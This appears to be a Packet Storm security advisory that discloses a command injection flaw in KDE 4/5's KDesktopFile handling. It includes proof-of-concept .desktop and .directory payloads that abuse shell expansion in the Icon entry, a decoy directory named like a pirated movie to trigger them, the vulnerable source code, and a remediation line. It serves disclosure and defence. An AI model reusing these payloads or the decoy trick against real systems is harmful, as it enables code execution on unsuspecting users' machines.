exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

KDE 4/5 KDesktopFile Command Injection

KDE 4/5 KDesktopFile Command Injection
Posted Aug 5, 2019
Authored by Dominik Penner

KDE 4/5 is vulnerable to a command injection vulnerability in the KDesktopFile class. When a .desktop or .directory file is instantiated, it unsafely evaluates environment variables and shell expansions using KConfigPrivate::expandString() via the KConfigGroup::readEntry() function. Using a specially crafted .desktop file a remote user could be compromised by simply downloading and viewing the file in their file manager, or by drag and dropping a link of it into their documents or desktop. Versions 5.60.0 and below are affected.

tags | exploit, remote, shell
SHA-256 | b976357316212f652d1a32df71b0bd1aeac8e5a5a6fef96198aa227ed6d6f007

KDE 4/5 KDesktopFile Command Injection

Change Mirror Download
                         _       _ 
_______ _ __ ___ | | ___ | |
|_ / _ \ '__/ _ \ | |/ _ \| |
/ / __/ | | (_) || | (_) | |
/___\___|_| \___(_)_|\___/|_|
https://zero.lol
zero days 4 days

Title: KDE 4/5 KDesktopFile Command Injection
Date: July 28th 2019
Author: Dominik Penner / zer0pwn
Vendor Homepage: https://kde.org/
Software Link: https://cgit.kde.org
Version: 5.60.0 and below

Description:
KDE 4/5 is vulnerable to a command injection vulnerability in the KDesktopFile class. When a .desktop or .directory file is instantiated, it unsafely evaluates environment variables and shell expansions using KConfigPrivate::expandString() via the KConfigGroup::readEntry() function. Using a specially crafted .desktop file a remote user could be compromised by simply downloading and viewing the file in their file manager, or by drag and dropping a link of it into their documents or desktop.

The main issue at hand is the fact that the KDE configuration specification is inconsistent with that of XDG (freedesktop). Despite this, KDE mixes its configuration syntax with that of XDG's, allowing for dynamic configuration entries (https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion).

When we combine this /feature/ with the way KDE handles .desktop and .directory files, we can force the file to evaluate some of the entries within the [Desktop Entry] tag. Some of the entries in this tag include "Icon", "Name", etc. The exploit is dependent on the entry that gets read by the KConfigGroup::readEntry() function. Generally whenever KDE needs to display these entries is when they'll get called. So for example, if we were to browse to the malicious file in our file manager (dolphin), the Icon entry would get called in order to display the icon. Since we know this, we can use a shell command in place of the Icon entry, which in turn will execute our command whenever the file is viewed.

Theoretically, if we can control config entries and trigger their reading, we can achieve command injection / RCE. I imagine there must be more ways to abuse this, however this is the most reliable way I've discovered so far.

Exploit/POCs:

1) payload.desktop

[Desktop Entry]
Icon[$e]=$(echo${IFS}0>~/Desktop/zero.lol&)

2) .directory

[Desktop Entry]
Type=Directory
Icon[$e]=$(echo${IFS}0>~/Desktop/zero.lol&)


Now whenever the files are viewed either in Dolphin, or on the Desktop (or while browsing an SMB share w/ smb4k) your commands will execute. The command processor doesn't seem to like spaces so just use $IFS and you'll be good. For the .desktop payload, it's as simple as having a remote user view the file on their local file system. The .directory payload has another part to it. .directory files are meant for setting configuration entries for the directory itself. Meaning we can set the Icon of the parent directory, and trigger it whenever someone views the folder. This requires nesting directories.

Example:

$ mkdir Hackers.1995.720p.BrRip.x264.YIFY
$ cd Hackers.1995.720p.BrRip.x264.YIFY
$ mkdir YIFY; cd YIFY
$ vi .directory
[Desktop Entry]
Type=Directory
Icon[$e]=$(echo${IFS}0>~/Desktop/zer0.lol&)

Now whenever someone opens the "Hackers.1995.720p.BrRip.x264.YIFY" directory, the YIFY directory will attempt to load the Icon from the .directory file, executing our command(s).

The code:

----------------kdesktopfile.cpp-----------------------------------------------------
182 QString KDesktopFile::readIcon() const
183 {
184 Q_D(const KDesktopFile);
185 return d->desktopGroup.readEntry("Icon", QString()); <---------------------
186 }
-------------------------------------------------------------------------------------

-----------------kconfiggroup.cpp----------------------------------------------------
679 QString KConfigGroup::readEntry(const char *key, const QString &aDefault) const
680 {
681 Q_ASSERT_X(isValid(), "KConfigGroup::readEntry", "accessing an invalid group");
682
683 bool expand = false;
684
685 // read value from the entry map
686 QString aValue = config()->d_func()->lookupData(d->fullName(), key, KEntryMap::SearchLocalized,
687 &expand);
688 if (aValue.isNull()) {
689 aValue = aDefault;
690 }
691
692 if (expand) {
693 return KConfigPrivate::expandString(aValue); <-------------------------
694 }
695
696 return aValue;
697 }
-------------------------------------------------------------------------------------

-----------------kconfig.cpp---------------------------------------------------------
178 QString KConfigPrivate::expandString(const QString &value)
179 {
180 QString aValue = value;
181
182 // check for environment variables and make necessary translations
183 int nDollarPos = aValue.indexOf(QLatin1Char('$'));
184 while (nDollarPos != -1 && nDollarPos + 1 < aValue.length()) {
185 // there is at least one $
186 if (aValue[nDollarPos + 1] == QLatin1Char('(')) {
187 int nEndPos = nDollarPos + 1;
188 // the next character is not $
189 while ((nEndPos <= aValue.length()) && (aValue[nEndPos] != QLatin1Char(')'))) {
190 nEndPos++;
191 }
192 nEndPos++;
193 QString cmd = aValue.mid(nDollarPos + 2, nEndPos - nDollarPos - 3);
194
195 QString result;
196
197 // FIXME: wince does not have pipes
198 #ifndef _WIN32_WCE
199 FILE *fs = popen(QFile::encodeName(cmd).data(), "r"); <-----------
200 if (fs) {
201 QTextStream ts(fs, QIODevice::ReadOnly);
202 result = ts.readAll().trimmed();
203 pclose(fs);
204 }
205 #endif
-------------------------------------------------------------------------------------


Remediation:

Disable shell expansion / dynamic entries for [Desktop Entry] configurations.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close